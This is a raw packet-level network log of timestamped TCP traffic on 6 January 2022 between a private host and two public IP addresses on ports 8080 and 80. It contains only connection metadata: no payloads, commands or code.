Jan 6, 2022 21:04:18.768891096 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768903971 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.768942118 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.768990993 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769042015 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769067049 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.769093037 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769129038 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.769150019 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769200087 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.769203901 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769254923 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769289970 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.769304991 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769355059 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769371986 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.769407034 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769462109 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769493103 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.769510984 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769608974 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769659996 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769714117 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769768000 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769772053 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.769819975 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769874096 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769896030 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.769927979 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.769979000 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.770037889 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.770045996 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.770067930 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.770100117 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.770150900 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.770203114 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.770237923 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.770262003 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.770320892 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.770342112 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.770378113 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.770431995 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.770448923 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.770489931 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.770545959 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.770553112 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.770602942 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.770654917 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.770659924 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.770798922 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.830144882 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830209017 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830257893 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830316067 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830317020 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.830374956 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.830374002 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830426931 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830477953 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830533028 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830540895 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.830589056 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.830590963 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830646038 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830694914 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830748081 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830758095 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.830804110 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.830807924 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830859900 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830909014 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830965996 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.830971003 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.831022024 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.831022978 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831074953 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831125021 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831180096 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831187963 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.831239939 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831242085 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.831290960 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831341028 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831393957 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831402063 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.831450939 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831454039 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.831502914 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831552982 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831610918 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831614971 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.831667900 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831672907 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.831717968 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831768990 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831821918 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831830025 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.831876993 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831878901 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.831929922 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.831979990 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.832034111 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.832041025 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.832089901 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.832094908 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.832142115 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.832201004 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.832258940 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.832259893 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.832313061 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.832324982 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.832365036 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.832413912 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.832467079 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.832475901 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.832523108 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.832524061 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.832575083 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.832623959 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.832678080 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.832684040 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.832731962 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.892087936 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892138004 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892182112 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892222881 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892225981 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.892261982 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892276049 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.892302036 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892342091 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892353058 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.892383099 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892427921 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892467022 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892493010 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.892505884 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892517090 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.892546892 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892585039 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892623901 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892635107 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.892666101 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892683029 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.892718077 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892762899 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892802000 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892807961 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.892844915 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892854929 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.892915964 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892956972 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.892995119 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893013954 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.893034935 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893066883 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.893074989 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893115044 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893153906 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893160105 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.893194914 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893198013 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.893239021 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893284082 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893322945 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893352032 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.893361092 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893371105 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.893400908 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893448114 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.893457890 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893508911 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893556118 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893603086 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.893614054 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893659115 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.893667936 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893717051 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893770933 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893821001 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893822908 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.893873930 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893879890 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.893925905 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.893975019 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.894025087 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.894025087 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.894073963 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.894074917 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.894124031 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.894172907 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.894220114 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.894221067 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.894269943 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.953691006 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.953758001 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.953810930 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.953859091 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.953860044 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.953912020 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.953917027 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.953970909 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.954169989 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.954202890 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.954226017 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.954286098 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.954338074 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.954340935 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.954391003 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.954416990 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.954442024 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.954497099 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.954505920 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.954547882 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.954607010 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.954653025 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:18.954665899 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:18.954710007 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:19.035324097 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.035394907 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.035444975 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.035501003 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.035512924 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.035536051 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.035571098 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.035631895 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.035651922 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.035695076 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.035715103 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.035747051 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.035753965 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.035798073 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.035804987 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.035849094 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.035856962 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.035906076 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.207201958 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.207304955 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210206985 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210253954 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210293055 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210315943 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210330009 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210349083 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210356951 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210371017 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210412025 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210429907 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210453033 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210470915 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210494041 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210508108 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210532904 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210561991 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210573912 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210606098 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210633993 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210649014 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210669994 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210690022 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210730076 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210767984 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210769892 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210777044 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210809946 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210834980 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210843086 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210848093 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210886002 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210895061 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210925102 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.210937977 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.210984945 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.377470970 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.377532005 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.377634048 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.380907059 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.383368015 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385186911 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385229111 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385267973 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385283947 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385301113 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385305882 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385307074 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385345936 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385381937 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385385990 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385390997 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385426998 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385432959 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385467052 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385473013 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385504961 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385516882 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385544062 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385556936 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385582924 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385597944 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385622025 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385628939 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385659933 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385670900 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385699034 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385704994 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385737896 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385745049 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385777950 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385783911 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385813951 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385822058 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385854006 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385859013 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385891914 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385901928 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385929108 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385936975 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.385967016 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.385973930 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.386004925 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386013031 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.386043072 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386053085 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.386081934 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386118889 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386132002 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.386156082 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386179924 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.386194944 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386210918 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.386231899 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386254072 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.386270046 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386300087 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.386307955 CET	49824	80	192.168.2.4	198.11.172.78
